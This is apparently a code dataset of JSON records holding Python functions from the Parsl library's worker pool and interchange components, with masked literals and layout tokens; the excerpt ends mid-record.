{"signature": "def istype(obj, check):", "body": "if isinstance(check, tuple):<EOL><INDENT>for cls in check:<EOL><INDENT>if type(obj) is cls:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return type(obj) is check<EOL><DEDENT>", "docstring": "Like isinstance(obj, check), but strict.\n\n    This won't catch subclasses.", "id": "f2817:m6"}
{"signature": "def can(obj):", "body": "import_needed = False<EOL>for cls, canner in iteritems(can_map):<EOL><INDENT>if isinstance(cls, string_types):<EOL><INDENT>import_needed = True<EOL>break<EOL><DEDENT>elif istype(obj, cls):<EOL><INDENT>return canner(obj)<EOL><DEDENT><DEDENT>if import_needed:<EOL><INDENT>_import_mapping(can_map, _original_can_map)<EOL>return can(obj)<EOL><DEDENT>return obj<EOL>", "docstring": "Prepare an object for pickling.", "id": "f2817:m7"}
{"signature": "def can_dict(obj):", "body": "if istype(obj, dict):<EOL><INDENT>newobj = {}<EOL>for k, v in iteritems(obj):<EOL><INDENT>newobj[k] = can(v)<EOL><DEDENT>return newobj<EOL><DEDENT>else:<EOL><INDENT>return obj<EOL><DEDENT>", "docstring": "Can the *values* of a dict.", "id": "f2817:m9"}
{"signature": "def can_sequence(obj):", "body": "if istype(obj, sequence_types):<EOL><INDENT>t = type(obj)<EOL>return t([can(i) for i in obj])<EOL><DEDENT>else:<EOL><INDENT>return obj<EOL><DEDENT>", "docstring": "Can the elements of a sequence.", "id": "f2817:m10"}
{"signature": "def uncan(obj, g=None):", "body": "import_needed = False<EOL>for cls, uncanner in iteritems(uncan_map):<EOL><INDENT>if isinstance(cls, string_types):<EOL><INDENT>import_needed = True<EOL>break<EOL><DEDENT>elif isinstance(obj, cls):<EOL><INDENT>return uncanner(obj, g)<EOL><DEDENT><DEDENT>if import_needed:<EOL><INDENT>_import_mapping(uncan_map, _original_uncan_map)<EOL>return uncan(obj, g)<EOL><DEDENT>return obj<EOL>", "docstring": "Invert canning.", "id": "f2817:m11"}
{"signature": "def __init__(self, obj, keys=[], hook=None):", "body": "self.keys = keys<EOL>self.obj = copy.copy(obj)<EOL>self.hook = can(hook)<EOL>for key in keys:<EOL><INDENT>setattr(self.obj, key, can(getattr(obj, key)))<EOL><DEDENT>self.buffers = []<EOL>", "docstring": "Can an object for safe pickling.\n\n        Parameters\n        ==========\n\n        obj:\n            The object to be canned\n        keys: list (optional)\n            list of attribute names that will be explicitly canned / uncanned\n        hook: callable (optional)\n            An optional extra callable,\n            which can do additional processing of the uncanned object.\n\n        Large data may be offloaded into the buffers list,\n        used for zero-copy transfers.", "id": "f2817:c0:m0"}
{"signature": "def __init__(self, ip_address, port_range):", "body": "self.context = zmq.Context()<EOL>self.zmq_socket = self.context.socket(zmq.REQ)<EOL>self.port = self.zmq_socket.bind_to_random_port(\"<STR_LIT>\".format(ip_address),<EOL>min_port=port_range[<NUM_LIT:0>],<EOL>max_port=port_range[<NUM_LIT:1>])<EOL>", "docstring": "Parameters\n----------\n\nip_address: str\n   IP address of the client (where Parsl runs)\nport_range: tuple(int, int)\n   Port range for the comms between client and interchange", "id": "f2819:c0:m0"}
{"signature": "def run(self, message):", "body": "self.zmq_socket.send_pyobj(message, copy=True)<EOL>reply = self.zmq_socket.recv_pyobj()<EOL>return reply<EOL>", "docstring": "This function needs to be fast at the same time aware of the possibility of\n        ZMQ pipes overflowing.\n\n        The timeout increases slowly if contention is detected on ZMQ pipes.\n        We could set copy=False and get slightly better latency but this results\n        in ZMQ sockets reaching a broken state once there are ~10k tasks in flight.\n        This issue can be magnified if each the serialized buffer itself is larger.", "id": "f2819:c0:m1"}
{"signature": "def __init__(self, ip_address, port_range):", "body": "self.context = zmq.Context()<EOL>self.zmq_socket = self.context.socket(zmq.DEALER)<EOL>self.zmq_socket.set_hwm(<NUM_LIT:0>)<EOL>self.port = self.zmq_socket.bind_to_random_port(\"<STR_LIT>\".format(ip_address),<EOL>min_port=port_range[<NUM_LIT:0>],<EOL>max_port=port_range[<NUM_LIT:1>])<EOL>self.poller = zmq.Poller()<EOL>self.poller.register(self.zmq_socket, zmq.POLLOUT)<EOL>", "docstring": "Parameters\n----------\n\nip_address: str\n   IP address of the client (where Parsl runs)\nport_range: tuple(int, int)\n   Port range for the comms between client and interchange", "id": "f2819:c1:m0"}
{"signature": "def put(self, message):", "body": "timeout_ms = <NUM_LIT:0><EOL>while True:<EOL><INDENT>socks = dict(self.poller.poll(timeout=timeout_ms))<EOL>if self.zmq_socket in socks and socks[self.zmq_socket] == zmq.POLLOUT:<EOL><INDENT>self.zmq_socket.send_pyobj(message, copy=True)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>timeout_ms += <NUM_LIT:1><EOL>logger.debug(\"<STR_LIT>\".format(timeout_ms))<EOL><DEDENT><DEDENT>", "docstring": "This function needs to be fast at the same time aware of the possibility of\n        ZMQ pipes overflowing.\n\n        The timeout increases slowly if contention is detected on ZMQ pipes.\n        We could set copy=False and get slightly better latency but this results\n        in ZMQ sockets reaching a broken state once there are ~10k tasks in flight.\n        This issue can be magnified if each the serialized buffer itself is larger.", "id": "f2819:c1:m1"}
{"signature": "def __init__(self, ip_address, port_range):", "body": "self.context = zmq.Context()<EOL>self.results_receiver = self.context.socket(zmq.DEALER)<EOL>self.results_receiver.set_hwm(<NUM_LIT:0>)<EOL>self.port = self.results_receiver.bind_to_random_port(\"<STR_LIT>\".format(ip_address),<EOL>min_port=port_range[<NUM_LIT:0>],<EOL>max_port=port_range[<NUM_LIT:1>])<EOL>", "docstring": "Parameters\n----------\n\nip_address: str\n   IP address of the client (where Parsl runs)\nport_range: tuple(int, int)\n   Port range for the comms between client and interchange", "id": "f2819:c2:m0"}
{"signature": "def execute_task(bufs):", "body": "user_ns = locals()<EOL>user_ns.update({'<STR_LIT>': __builtins__})<EOL>f, args, kwargs = unpack_apply_message(bufs, user_ns, copy=False)<EOL>prefix = \"<STR_LIT>\"<EOL>fname = prefix + \"<STR_LIT:f>\"<EOL>argname = prefix + \"<STR_LIT:args>\"<EOL>kwargname = prefix + \"<STR_LIT>\"<EOL>resultname = prefix + \"<STR_LIT:result>\"<EOL>user_ns.update({fname: f,<EOL>argname: args,<EOL>kwargname: kwargs,<EOL>resultname: resultname})<EOL>code = \"<STR_LIT>\".format(resultname, fname,<EOL>argname, kwargname)<EOL>try:<EOL><INDENT>exec(code, user_ns, user_ns)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(e), exc_info=True)<EOL>raise e<EOL><DEDENT>else:<EOL><INDENT>return user_ns.get(resultname)<EOL><DEDENT>", "docstring": "Deserialize the buffer and execute the task.\n\n    Returns the result or throws exception.", "id": "f2820:m0"}
{"signature": "def worker(worker_id, pool_id, task_queue, result_queue, worker_queue):", "body": "start_file_logger('<STR_LIT>'.format(args.logdir, pool_id, worker_id),<EOL>worker_id,<EOL>name=\"<STR_LIT>\",<EOL>level=logging.DEBUG if args.debug else logging.INFO)<EOL>logger.info('<STR_LIT>'.format(worker_id))<EOL>if args.debug:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>while True:<EOL><INDENT>worker_queue.put(worker_id)<EOL>req = task_queue.get()<EOL>tid = req['<STR_LIT>']<EOL>logger.info(\"<STR_LIT>\".format(tid))<EOL>try:<EOL><INDENT>worker_queue.get()<EOL><DEDENT>except queue.Empty:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(worker_id))<EOL>pass<EOL><DEDENT>try:<EOL><INDENT>result = execute_task(req['<STR_LIT>'])<EOL>serialized_result = serialize_object(result)<EOL><DEDENT>except Exception:<EOL><INDENT>result_package = {'<STR_LIT>': tid, '<STR_LIT>': serialize_object(RemoteExceptionWrapper(*sys.exc_info()))}<EOL><DEDENT>else:<EOL><INDENT>result_package = {'<STR_LIT>': tid, '<STR_LIT:result>': serialized_result}<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(tid))<EOL>pkl_package = pickle.dumps(result_package)<EOL>result_queue.put(pkl_package)<EOL><DEDENT>", "docstring": "Put request token into queue\nGet task from task_queue\nPop request from queue\nPut result into result_queue", "id": "f2820:m1"}
{"signature": "def start_file_logger(filename, rank, name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\".format(rank)<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(logging.DEBUG)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Args:\n        - filename (string): Name of the file to write logs to\n        - name (string): Logger name\n        - level (logging.LEVEL): Set the logging level.\n        - format_string (string): Set the format string\n\n    Returns:\n       -  None", "id": "f2820:m2"}
{"signature": "def set_stream_logger(name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(logging.DEBUG)<EOL>handler = logging.StreamHandler()<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Args:\n         - name (string) : Set the logger name.\n         - level (logging.LEVEL) : Set to logging.DEBUG by default.\n         - format_string (sting) : Set to None by default.\n\n    Returns:\n         - None", "id": "f2820:m3"}
{"signature": "def __init__(self,<EOL>task_q_url=\"<STR_LIT>\",<EOL>result_q_url=\"<STR_LIT>\",<EOL>cores_per_worker=<NUM_LIT:1>,<EOL>max_workers=float('<STR_LIT>'),<EOL>prefetch_capacity=<NUM_LIT:0>,<EOL>uid=None,<EOL>block_id=None,<EOL>heartbeat_threshold=<NUM_LIT>,<EOL>heartbeat_period=<NUM_LIT:30>,<EOL>poll_period=<NUM_LIT:10>):", "body": "logger.info(\"<STR_LIT>\")<EOL>self.context = zmq.Context()<EOL>self.task_incoming = self.context.socket(zmq.DEALER)<EOL>self.task_incoming.setsockopt(zmq.IDENTITY, uid.encode('<STR_LIT:utf-8>'))<EOL>self.task_incoming.setsockopt(zmq.LINGER, <NUM_LIT:0>)<EOL>self.task_incoming.connect(task_q_url)<EOL>self.result_outgoing = self.context.socket(zmq.DEALER)<EOL>self.result_outgoing.setsockopt(zmq.IDENTITY, uid.encode('<STR_LIT:utf-8>'))<EOL>self.result_outgoing.setsockopt(zmq.LINGER, <NUM_LIT:0>)<EOL>self.result_outgoing.connect(result_q_url)<EOL>logger.info(\"<STR_LIT>\")<EOL>self.uid = uid<EOL>self.block_id = block_id<EOL>cores_on_node = multiprocessing.cpu_count()<EOL>self.max_workers = max_workers<EOL>self.prefetch_capacity = prefetch_capacity<EOL>self.worker_count = min(max_workers,<EOL>math.floor(cores_on_node / cores_per_worker))<EOL>logger.info(\"<STR_LIT>\".format(self.worker_count))<EOL>self.pending_task_queue = multiprocessing.Queue()<EOL>self.pending_result_queue = multiprocessing.Queue()<EOL>self.ready_worker_queue = multiprocessing.Queue()<EOL>self.max_queue_size = self.prefetch_capacity + self.worker_count<EOL>self.tasks_per_round = <NUM_LIT:1><EOL>self.heartbeat_period = heartbeat_period<EOL>self.heartbeat_threshold = heartbeat_threshold<EOL>self.poll_period = poll_period<EOL>", "docstring": "Parameters\n----------\nworker_url : str\n     Worker url on which workers will attempt to connect back\n\nuid : str\n     string unique identifier\n\nblock_id : str\n     Block identifier that maps managers to the provider blocks they belong to.\n\ncores_per_worker : float\n     cores to be assigned to each worker. Oversubscription is possible\n     by setting cores_per_worker < 1.0. Default=1\n\nmax_workers : int\n     caps the maximum number of workers that can be launched.\n     default: infinity\n\nprefetch_capacity : int\n     Number of tasks that could be prefetched over available worker capacity.\n     When there are a few tasks (<100) or when tasks are long running, this option should\n     be set to 0 for better load balancing. Default is 0.\n\nheartbeat_threshold : int\n     Seconds since the last message from the interchange after which the\n     interchange is assumed to be un-available, and the manager initiates shutdown. Default:120s\n\n     Number of seconds since the last message from the interchange after which the worker\n     assumes that the interchange is lost and the manager shuts down. Default:120\n\nheartbeat_period : int\n     Number of seconds after which a heartbeat message is sent to the interchange\n\npoll_period : int\n     Timeout period used by the manager in milliseconds. Default: 10ms", "id": "f2820:c0:m0"}
{"signature": "def create_reg_message(self):", "body": "msg = {'<STR_LIT>': PARSL_VERSION,<EOL>'<STR_LIT>': \"<STR_LIT>\".format(sys.version_info.major,<EOL>sys.version_info.minor,<EOL>sys.version_info.micro),<EOL>'<STR_LIT>': self.worker_count,<EOL>'<STR_LIT>': self.block_id,<EOL>'<STR_LIT>': self.prefetch_capacity,<EOL>'<STR_LIT>': self.worker_count + self.prefetch_capacity,<EOL>'<STR_LIT>': platform.system(),<EOL>'<STR_LIT>': platform.node(),<EOL>'<STR_LIT>': os.getcwd(),<EOL>}<EOL>b_msg = json.dumps(msg).encode('<STR_LIT:utf-8>')<EOL>return b_msg<EOL>", "docstring": "Creates a registration message to identify the worker to the interchange", "id": "f2820:c0:m1"}
{"signature": "def heartbeat(self):", "body": "heartbeat = (HEARTBEAT_CODE).to_bytes(<NUM_LIT:4>, \"<STR_LIT>\")<EOL>r = self.task_incoming.send(heartbeat)<EOL>logger.debug(\"<STR_LIT>\".format(r))<EOL>", "docstring": "Send heartbeat to the incoming task queue", "id": "f2820:c0:m2"}
{"signature": "def pull_tasks(self, kill_event):", "body": "logger.info(\"<STR_LIT>\")<EOL>poller = zmq.Poller()<EOL>poller.register(self.task_incoming, zmq.POLLIN)<EOL>msg = self.create_reg_message()<EOL>logger.debug(\"<STR_LIT>\".format(msg))<EOL>self.task_incoming.send(msg)<EOL>last_beat = time.time()<EOL>last_interchange_contact = time.time()<EOL>task_recv_counter = <NUM_LIT:0><EOL>poll_timer = self.poll_period<EOL>while not kill_event.is_set():<EOL><INDENT>ready_worker_count = self.ready_worker_queue.qsize()<EOL>pending_task_count = self.pending_task_queue.qsize()<EOL>logger.debug(\"<STR_LIT>\".format(ready_worker_count,<EOL>pending_task_count))<EOL>if time.time() > last_beat + self.heartbeat_period:<EOL><INDENT>self.heartbeat()<EOL>last_beat = time.time()<EOL><DEDENT>if pending_task_count < self.max_queue_size and ready_worker_count > <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(ready_worker_count))<EOL>msg = ((ready_worker_count).to_bytes(<NUM_LIT:4>, \"<STR_LIT>\"))<EOL>self.task_incoming.send(msg)<EOL><DEDENT>socks = dict(poller.poll(timeout=poll_timer))<EOL>if self.task_incoming in socks and socks[self.task_incoming] == zmq.POLLIN:<EOL><INDENT>poll_timer = <NUM_LIT:0><EOL>_, pkl_msg = self.task_incoming.recv_multipart()<EOL>tasks = pickle.loads(pkl_msg)<EOL>last_interchange_contact = time.time()<EOL>if tasks == '<STR_LIT>':<EOL><INDENT>logger.critical(\"<STR_LIT>\")<EOL>kill_event.set()<EOL>break<EOL><DEDENT>elif tasks == HEARTBEAT_CODE:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>task_recv_counter += len(tasks)<EOL>logger.debug(\"<STR_LIT>\".format([t['<STR_LIT>'] for t in tasks],<EOL>task_recv_counter))<EOL>for task in tasks:<EOL><INDENT>self.pending_task_queue.put(task)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>if not poll_timer:<EOL><INDENT>poll_timer = self.poll_period<EOL><DEDENT>poll_timer = min(self.heartbeat_period * <NUM_LIT:1000>, poll_timer * <NUM_LIT:2>)<EOL>if time.time() > last_interchange_contact + self.heartbeat_threshold:<EOL><INDENT>logger.critical(\"<STR_LIT>\")<EOL>kill_event.set()<EOL>logger.critical(\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Pull tasks from the incoming tasks 0mq pipe onto the internal\n        pending task queue\n\n        Parameters:\n        -----------\n        kill_event : threading.Event\n              Event to let the thread know when it is time to die.", "id": "f2820:c0:m3"}
{"signature": "def push_results(self, kill_event):", "body": "logger.debug(\"<STR_LIT>\")<EOL>push_poll_period = max(<NUM_LIT:10>, self.poll_period) / <NUM_LIT:1000>    <EOL>logger.debug(\"<STR_LIT>\".format(push_poll_period))<EOL>last_beat = time.time()<EOL>items = []<EOL>while not kill_event.is_set():<EOL><INDENT>try:<EOL><INDENT>r = self.pending_result_queue.get(block=True, timeout=push_poll_period)<EOL>items.append(r)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>pass<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(e))<EOL><DEDENT>if len(items) >= self.max_queue_size or time.time() > last_beat + push_poll_period:<EOL><INDENT>last_beat = time.time()<EOL>if items:<EOL><INDENT>self.result_outgoing.send_multipart(items)<EOL>items = []<EOL><DEDENT><DEDENT><DEDENT>logger.critical(\"<STR_LIT>\")<EOL>", "docstring": "Listens on the pending_result_queue and sends out results via 0mq\n\n        Parameters:\n        -----------\n        kill_event : threading.Event\n              Event to let the thread know when it is time to die.", "id": "f2820:c0:m4"}
{"signature": "def start(self):", "body": "start = time.time()<EOL>self._kill_event = threading.Event()<EOL>self.procs = {}<EOL>for worker_id in range(self.worker_count):<EOL><INDENT>p = multiprocessing.Process(target=worker, args=(worker_id,<EOL>self.uid,<EOL>self.pending_task_queue,<EOL>self.pending_result_queue,<EOL>self.ready_worker_queue,<EOL>))<EOL>p.start()<EOL>self.procs[worker_id] = p<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>self._task_puller_thread = threading.Thread(target=self.pull_tasks,<EOL>args=(self._kill_event,))<EOL>self._result_pusher_thread = threading.Thread(target=self.push_results,<EOL>args=(self._kill_event,))<EOL>self._task_puller_thread.start()<EOL>self._result_pusher_thread.start()<EOL>logger.info(\"<STR_LIT>\")<EOL>self._kill_event.wait()<EOL>logger.critical(\"<STR_LIT>\")<EOL>self._task_puller_thread.join()<EOL>self._result_pusher_thread.join()<EOL>for proc_id in self.procs:<EOL><INDENT>self.procs[proc_id].terminate()<EOL>logger.critical(\"<STR_LIT>\".format(self.procs[proc_id],<EOL>self.procs[proc_id].is_alive()))<EOL>self.procs[proc_id].join()<EOL>logger.debug(\"<STR_LIT>\".format(self.procs[proc_id]))<EOL><DEDENT>self.task_incoming.close()<EOL>self.result_outgoing.close()<EOL>self.context.term()<EOL>delta = time.time() - start<EOL>logger.info(\"<STR_LIT>\".format(delta))<EOL>return<EOL>", "docstring": "Start the worker processes.\n\n        TODO: Move task receiving to a thread", "id": "f2820:c0:m5"}
{"signature": "def start_file_logger(filename, name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(level)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Parameters\n    ---------\n\n    filename: string\n        Name of the file to write logs to. Required.\n    name: string\n        Logger name. Default=\"parsl.executors.interchange\"\n    level: logging.LEVEL\n        Set the logging level. Default=logging.DEBUG\n        - format_string (string): Set the format string\n    format_string: string\n        Format string to use.\n\n    Returns\n    -------\n        None.", "id": "f2821:m0"}
{"signature": "def starter(comm_q, *args, **kwargs):", "body": "<EOL>ic = Interchange(*args, **kwargs)<EOL>comm_q.put((ic.worker_task_port,<EOL>ic.worker_result_port))<EOL>ic.start()<EOL>", "docstring": "Start the interchange process\n\n    The executor is expected to call this function. The args, kwargs match that of the Interchange.__init__", "id": "f2821:m1"}
{"signature": "def __init__(self,<EOL>client_address=\"<STR_LIT:127.0.0.1>\",<EOL>interchange_address=\"<STR_LIT:127.0.0.1>\",<EOL>client_ports=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL>worker_ports=None,<EOL>worker_port_range=(<NUM_LIT>, <NUM_LIT>),<EOL>heartbeat_threshold=<NUM_LIT>,<EOL>logdir=\"<STR_LIT:.>\",<EOL>logging_level=logging.INFO,<EOL>poll_period=<NUM_LIT:10>,<EOL>suppress_failure=False,<EOL>):", "body": "self.logdir = logdir<EOL>try:<EOL><INDENT>os.makedirs(self.logdir)<EOL><DEDENT>except FileExistsError:<EOL><INDENT>pass<EOL><DEDENT>start_file_logger(\"<STR_LIT>\".format(self.logdir), level=logging_level)<EOL>logger.debug(\"<STR_LIT>\")<EOL>self.client_address = client_address<EOL>self.interchange_address = interchange_address<EOL>self.suppress_failure = suppress_failure<EOL>self.poll_period = poll_period<EOL>logger.info(\"<STR_LIT>\".format(<EOL>client_address, client_ports[<NUM_LIT:0>], client_ports[<NUM_LIT:1>], client_ports[<NUM_LIT:2>]))<EOL>self.context = zmq.Context()<EOL>self.task_incoming = self.context.socket(zmq.DEALER)<EOL>self.task_incoming.set_hwm(<NUM_LIT:0>)<EOL>self.task_incoming.RCVTIMEO = <NUM_LIT:10>  <EOL>self.task_incoming.connect(\"<STR_LIT>\".format(client_address, client_ports[<NUM_LIT:0>]))<EOL>self.results_outgoing = self.context.socket(zmq.DEALER)<EOL>self.results_outgoing.set_hwm(<NUM_LIT:0>)<EOL>self.results_outgoing.connect(\"<STR_LIT>\".format(client_address, client_ports[<NUM_LIT:1>]))<EOL>self.command_channel = self.context.socket(zmq.REP)<EOL>self.command_channel.RCVTIMEO = <NUM_LIT:1000>  <EOL>self.command_channel.connect(\"<STR_LIT>\".format(client_address, client_ports[<NUM_LIT:2>]))<EOL>logger.info(\"<STR_LIT>\")<EOL>self.pending_task_queue = queue.Queue(maxsize=<NUM_LIT:10> ** <NUM_LIT:6>)<EOL>self.worker_ports = worker_ports<EOL>self.worker_port_range = worker_port_range<EOL>self.task_outgoing = self.context.socket(zmq.ROUTER)<EOL>self.task_outgoing.set_hwm(<NUM_LIT:0>)<EOL>self.results_incoming = self.context.socket(zmq.ROUTER)<EOL>self.results_incoming.set_hwm(<NUM_LIT:0>)<EOL>if self.worker_ports:<EOL><INDENT>self.worker_task_port = self.worker_ports[<NUM_LIT:0>]<EOL>self.worker_result_port = self.worker_ports[<NUM_LIT:1>]<EOL>self.task_outgoing.bind(\"<STR_LIT>\".format(self.worker_task_port))<EOL>self.results_incoming.bind(\"<STR_LIT>\".format(self.worker_result_port))<EOL><DEDENT>else:<EOL><INDENT>self.worker_task_port = self.task_outgoing.bind_to_random_port('<STR_LIT>',<EOL>min_port=worker_port_range[<NUM_LIT:0>],<EOL>max_port=worker_port_range[<NUM_LIT:1>], max_tries=<NUM_LIT:100>)<EOL>self.worker_result_port = self.results_incoming.bind_to_random_port('<STR_LIT>',<EOL>min_port=worker_port_range[<NUM_LIT:0>],<EOL>max_port=worker_port_range[<NUM_LIT:1>], max_tries=<NUM_LIT:100>)<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(<EOL>self.worker_task_port, self.worker_result_port))<EOL>self._ready_manager_queue = {}<EOL>self.heartbeat_threshold = heartbeat_threshold<EOL>self.current_platform = {'<STR_LIT>': PARSL_VERSION,<EOL>'<STR_LIT>': \"<STR_LIT>\".format(sys.version_info.major,<EOL>sys.version_info.minor,<EOL>sys.version_info.micro),<EOL>'<STR_LIT>': platform.system(),<EOL>'<STR_LIT>': platform.node(),<EOL>'<STR_LIT>': os.getcwd()}<EOL>logger.info(\"<STR_LIT>\".format(self.current_platform))<EOL>", "docstring": "Parameters\n----------\nclient_address : str\n     The ip address at which the parsl client can be reached. Default: \"127.0.0.1\"\n\ninterchange_address : str\n     The ip address at which the workers will be able to reach the Interchange. Default: \"127.0.0.1\"\n\nclient_ports : triple(int, int, int)\n     The ports at which the client can be reached\n\nworker_ports : tuple(int, int)\n     The specific two ports at which workers will connect to the Interchange. Default: None\n\nworker_port_range : tuple(int, int)\n     The interchange picks ports at random from the range which will be used by workers.\n     This is overridden when the worker_ports option is set. Defauls: (54000, 55000)\n\nheartbeat_threshold : int\n     Number of seconds since the last heartbeat after which worker is considered lost.\n\nlogdir : str\n     Parsl log directory paths. Logs and temp files go here. Default: '.'\n\nlogging_level : int\n     Logging level as defined in the logging module. Default: logging.INFO (20)\n\npoll_period : int\n     The main thread polling period, in milliseconds. Default: 10ms\n\nsuppress_failure : Bool\n     When set to True, the interchange will attempt to suppress failures. Default: False", "id": "f2821:c3:m0"}
{"signature": "def get_tasks(self, count):", "body": "tasks = []<EOL>for i in range(<NUM_LIT:0>, count):<EOL><INDENT>try:<EOL><INDENT>x = self.pending_task_queue.get(block=False)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>tasks.append(x)<EOL><DEDENT><DEDENT>return tasks<EOL>", "docstring": "Obtains a batch of tasks from the internal pending_task_queue\n\n        Parameters\n        ----------\n        count: int\n            Count of tasks to get from the queue\n\n        Returns\n        -------\n        List of upto count tasks. May return fewer than count down to an empty list\n            eg. [{'task_id':<x>, 'buffer':<buf>} ... ]", "id": "f2821:c3:m1"}
{"signature": "def migrate_tasks_to_internal(self, kill_event):", "body": "logger.info(\"<STR_LIT>\")<EOL>task_counter = <NUM_LIT:0><EOL>poller = zmq.Poller()<EOL>poller.register(self.task_incoming, zmq.POLLIN)<EOL>while not kill_event.is_set():<EOL><INDENT>try:<EOL><INDENT>msg = self.task_incoming.recv_pyobj()<EOL><DEDENT>except zmq.Again:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.pending_task_queue.qsize()))<EOL>continue<EOL><DEDENT>if msg == '<STR_LIT>':<EOL><INDENT>kill_event.set()<EOL>break<EOL><DEDENT>else:<EOL><INDENT>self.pending_task_queue.put(msg)<EOL>task_counter += <NUM_LIT:1><EOL>logger.debug(\"<STR_LIT>\".format(task_counter))<EOL><DEDENT><DEDENT>", "docstring": "Pull tasks from the incoming tasks 0mq pipe onto the internal\n        pending task queue\n\n        Parameters:\n        -----------\n        kill_event : threading.Event\n              Event to let the thread know when it is time to die.", "id": "f2821:c3:m2"}
{"signature": "def _command_server(self, kill_event):", "body": "logger.debug(\"<STR_LIT>\")<EOL>while not kill_event.is_set():<EOL><INDENT>try:<EOL><INDENT>command_req = self.command_channel.recv_pyobj()<EOL>logger.debug(\"<STR_LIT>\".format(command_req))<EOL>if command_req == \"<STR_LIT>\":<EOL><INDENT>outstanding = self.pending_task_queue.qsize()<EOL>for manager in self._ready_manager_queue:<EOL><INDENT>outstanding += len(self._ready_manager_queue[manager]['<STR_LIT>'])<EOL><DEDENT>reply = outstanding<EOL><DEDENT>elif command_req == \"<STR_LIT>\":<EOL><INDENT>num_workers = <NUM_LIT:0><EOL>for manager in self._ready_manager_queue:<EOL><INDENT>num_workers += self._ready_manager_queue[manager]['<STR_LIT>']<EOL><DEDENT>reply = num_workers<EOL><DEDENT>elif command_req == \"<STR_LIT>\":<EOL><INDENT>reply = []<EOL>for manager in self._ready_manager_queue:<EOL><INDENT>resp = {'<STR_LIT>': manager.decode('<STR_LIT:utf-8>'),<EOL>'<STR_LIT>': self._ready_manager_queue[manager]['<STR_LIT>'],<EOL>'<STR_LIT>': self._ready_manager_queue[manager]['<STR_LIT>'],<EOL>'<STR_LIT>': len(self._ready_manager_queue[manager]['<STR_LIT>']),<EOL>'<STR_LIT>': self._ready_manager_queue[manager]['<STR_LIT>']}<EOL>reply.append(resp)<EOL><DEDENT><DEDENT>elif command_req.startswith(\"<STR_LIT>\"):<EOL><INDENT>cmd, s_manager = command_req.split('<STR_LIT:;>')<EOL>manager = s_manager.encode('<STR_LIT:utf-8>')<EOL>logger.info(\"<STR_LIT>\".format(manager))<EOL>if manager in self._ready_manager_queue:<EOL><INDENT>self._ready_manager_queue[manager]['<STR_LIT>'] = False<EOL>reply = True<EOL><DEDENT>else:<EOL><INDENT>reply = False<EOL><DEDENT><DEDENT>elif command_req == \"<STR_LIT>\":<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>kill_event.set()<EOL>reply = True<EOL><DEDENT>else:<EOL><INDENT>reply = None<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(reply))<EOL>self.command_channel.send_pyobj(reply)<EOL><DEDENT>except zmq.Again:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT><DEDENT>", "docstring": "Command server to run async command to the interchange", "id": "f2821:c3:m3"}
{"signature": "def start(self, poll_period=None):", "body": "logger.info(\"<STR_LIT>\")<EOL>if poll_period is None:<EOL><INDENT>poll_period = self.poll_period<EOL><DEDENT>start = time.time()<EOL>count = <NUM_LIT:0><EOL>self._kill_event = threading.Event()<EOL>self._task_puller_thread = threading.Thread(target=self.migrate_tasks_to_internal,<EOL>args=(self._kill_event,))<EOL>self._task_puller_thread.start()<EOL>self._command_thread = threading.Thread(target=self._command_server,<EOL>args=(self._kill_event,))<EOL>self._command_thread.start()<EOL>poller = zmq.Poller()<EOL>poller.register(self.task_outgoing, zmq.POLLIN)<EOL>poller.register(self.results_incoming, zmq.POLLIN)<EOL>interesting_managers = set()<EOL>while not self._kill_event.is_set():<EOL><INDENT>self.socks = dict(poller.poll(timeout=poll_period))<EOL>if self.task_outgoing in self.socks and self.socks[self.task_outgoing] == zmq.POLLIN:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>message = self.task_outgoing.recv_multipart()<EOL>manager = message[<NUM_LIT:0>]<EOL>if manager not in self._ready_manager_queue:<EOL><INDENT>reg_flag = False<EOL>try:<EOL><INDENT>msg = 